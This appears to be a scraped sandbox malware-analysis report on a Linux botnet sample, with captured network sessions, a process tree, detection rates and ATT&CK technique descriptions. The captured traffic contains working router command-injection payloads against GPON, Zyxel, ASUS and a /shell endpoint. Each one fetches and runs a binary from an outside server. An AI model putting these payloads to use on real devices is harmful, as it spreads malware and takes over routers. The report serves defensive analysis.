1405	192.168.2.13	53276	42.12.154.220	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:59.010847092 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1406	192.168.2.13	59764	42.152.187.144	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:59.010874033 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1407	192.168.2.13	45582	118.47.45.35	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:59.010900021 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1408	192.168.2.13	40682	142.4.21.157	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:59.105768919 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:59.287230015 CET	525	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:18:59 GMT Server: Apache Content-Length: 347 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><p>Additionally, a 400 Bad Requesterror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1409	192.168.2.13	40712	142.4.21.157	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:59.480851889 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:59.660478115 CET	525	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:18:59 GMT Server: Apache Content-Length: 347 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><p>Additionally, a 400 Bad Requesterror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1410	192.168.2.13	35490	37.28.154.180	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:59.481024027 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:18:59.672672987 CET	406	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:18:59 GMT Server: Apache/2 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1411	192.168.2.13	42000	213.176.48.47	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:59.658575058 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:19:00.567830086 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1412	192.168.2.13	48362	172.111.36.205	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:19:00.362401962 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

System Behavior

Analysis Process: fIupB48xS0.elf PID: 5433, Parent PID: 5355

General

Start time (UTC):	04:16:55
Start date (UTC):	21/03/2024
Path:	/tmp/fIupB48xS0.elf
Arguments:	/tmp/fIupB48xS0.elf
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	04:16:55
Start date (UTC):	21/03/2024
Path:	/tmp/fIupB48xS0.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	04:16:55
Start date (UTC):	21/03/2024
Path:	/bin/sh
Arguments:	sh -c "rm -rf usr/bin && mkdir usr; >usr/bin && mv /tmp/fIupB48xS0.elf usr/bin; chmod 777 usr/bin"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:16:55
Start date (UTC):	21/03/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:16:55
Start date (UTC):	21/03/2024
Path:	/usr/bin/rm
Arguments:	rm -rf usr/bin
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Start time (UTC):	04:16:55
Start date (UTC):	21/03/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:16:55
Start date (UTC):	21/03/2024
Path:	/usr/bin/mkdir
Arguments:	mkdir usr
File size:	88408 bytes
MD5 hash:	088c9d1df5a28ed16c726eca15964cb7

Start time (UTC):	04:16:55
Start date (UTC):	21/03/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:16:55
Start date (UTC):	21/03/2024
Path:	/usr/bin/mv
Arguments:	mv /tmp/fIupB48xS0.elf usr/bin
File size:	149888 bytes
MD5 hash:	504f0590fa482d4da070a702260e3716

Start time (UTC):	04:16:55
Start date (UTC):	21/03/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:16:55
Start date (UTC):	21/03/2024
Path:	/usr/bin/chmod
Arguments:	chmod 777 usr/bin
File size:	63864 bytes
MD5 hash:	739483b900c045ae1374d6f53a86a279

Start time (UTC):	04:16:55
Start date (UTC):	21/03/2024
Path:	/tmp/fIupB48xS0.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	04:16:55
Start date (UTC):	21/03/2024
Path:	/tmp/fIupB48xS0.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: fIupB48xS0.elf PID: 5445, Parent PID: 5441

General

Start time (UTC):	04:16:55
Start date (UTC):	21/03/2024
Path:	/tmp/fIupB48xS0.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: fIupB48xS0.elf PID: 5448, Parent PID: 5441

General

Start time (UTC):	04:16:55
Start date (UTC):	21/03/2024
Path:	/tmp/fIupB48xS0.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: fIupB48xS0.elf PID: 5450, Parent PID: 5441

General

Start time (UTC):	04:16:55
Start date (UTC):	21/03/2024
Path:	/tmp/fIupB48xS0.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: fIupB48xS0.elf PID: 5451, Parent PID: 5441

General

Start time (UTC):	04:16:55
Start date (UTC):	21/03/2024
Path:	/tmp/fIupB48xS0.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: fIupB48xS0.elf PID: 5454, Parent PID: 5441

General

Start time (UTC):	04:16:55
Start date (UTC):	21/03/2024
Path:	/tmp/fIupB48xS0.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: fIupB48xS0.elf PID: 5455, Parent PID: 5441

General

Start time (UTC):	04:16:55
Start date (UTC):	21/03/2024
Path:	/tmp/fIupB48xS0.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: fIupB48xS0.elf PID: 5456, Parent PID: 5441

General

Start time (UTC):	04:16:55
Start date (UTC):	21/03/2024
Path:	/tmp/fIupB48xS0.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: fIupB48xS0.elf PID: 5459, Parent PID: 5441

General

Start time (UTC):	04:16:55
Start date (UTC):	21/03/2024
Path:	/tmp/fIupB48xS0.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: fIupB48xS0.elf PID: 5461, Parent PID: 5441

General

Start time (UTC):	04:16:55
Start date (UTC):	21/03/2024
Path:	/tmp/fIupB48xS0.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: fIupB48xS0.elf PID: 5462, Parent PID: 5441

General

Start time (UTC):	04:16:55
Start date (UTC):	21/03/2024
Path:	/tmp/fIupB48xS0.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: fIupB48xS0.elf PID: 5463, Parent PID: 5441

General

Start time (UTC):	04:16:55
Start date (UTC):	21/03/2024
Path:	/tmp/fIupB48xS0.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: fIupB48xS0.elf PID: 5467, Parent PID: 5441

General

Start time (UTC):	04:16:55
Start date (UTC):	21/03/2024
Path:	/tmp/fIupB48xS0.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: fIupB48xS0.elf PID: 5468, Parent PID: 5441

General

Start time (UTC):	04:16:55
Start date (UTC):	21/03/2024
Path:	/tmp/fIupB48xS0.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: fIupB48xS0.elf PID: 5469, Parent PID: 5441

General

Start time (UTC):	04:16:55
Start date (UTC):	21/03/2024
Path:	/tmp/fIupB48xS0.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: fIupB48xS0.elf PID: 5473, Parent PID: 5441

General

Start time (UTC):	04:16:55
Start date (UTC):	21/03/2024
Path:	/tmp/fIupB48xS0.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: fIupB48xS0.elf PID: 5474, Parent PID: 5441

General

Start time (UTC):	04:16:55
Start date (UTC):	21/03/2024
Path:	/tmp/fIupB48xS0.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: fIupB48xS0.elf PID: 5476, Parent PID: 5441

General

Start time (UTC):	04:16:55
Start date (UTC):	21/03/2024
Path:	/tmp/fIupB48xS0.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Analysis Process: fIupB48xS0.elf PID: 5477, Parent PID: 5441

General

Start time (UTC):	04:16:55
Start date (UTC):	21/03/2024
Path:	/tmp/fIupB48xS0.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	04:16:55
Start date (UTC):	21/03/2024
Path:	/tmp/fIupB48xS0.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	04:16:55
Start date (UTC):	21/03/2024
Path:	/tmp/fIupB48xS0.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	04:16:55
Start date (UTC):	21/03/2024
Path:	/usr/libexec/gnome-session-binary
Arguments:	-
File size:	334664 bytes
MD5 hash:	d9b90be4f7db60cb3c2d3da6a1d31bfb

Start time (UTC):	04:16:55
Start date (UTC):	21/03/2024
Path:	/bin/sh
Arguments:	/bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-housekeeping
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	04:16:55
Start date (UTC):	21/03/2024
Path:	/usr/libexec/gsd-housekeeping
Arguments:	/usr/libexec/gsd-housekeeping
File size:	51840 bytes
MD5 hash:	b55f3394a84976ddb92a2915e5d76914

Source: fIupB48xS0.elf	ReversingLabs: Detection: 65%
Source: fIupB48xS0.elf	Virustotal: Detection: 63%			Perma Link

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report fIupB48xS0.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

HTTP Packets

System Behavior

Analysis Process: fIupB48xS0.elf PID: 5433, Parent PID: 5355

General

Chronological Activities

Analysis Process: fIupB48xS0.elf PID: 5435, Parent PID: 5433

General

Chronological Activities

Analysis Process: sh PID: 5435, Parent PID: 5433

General

Chronological Activities

Analysis Process: sh PID: 5437, Parent PID: 5435

General

Chronological Activities

Analysis Process: rm PID: 5437, Parent PID: 5435

Linux Analysis Report
fIupB48xS0.elf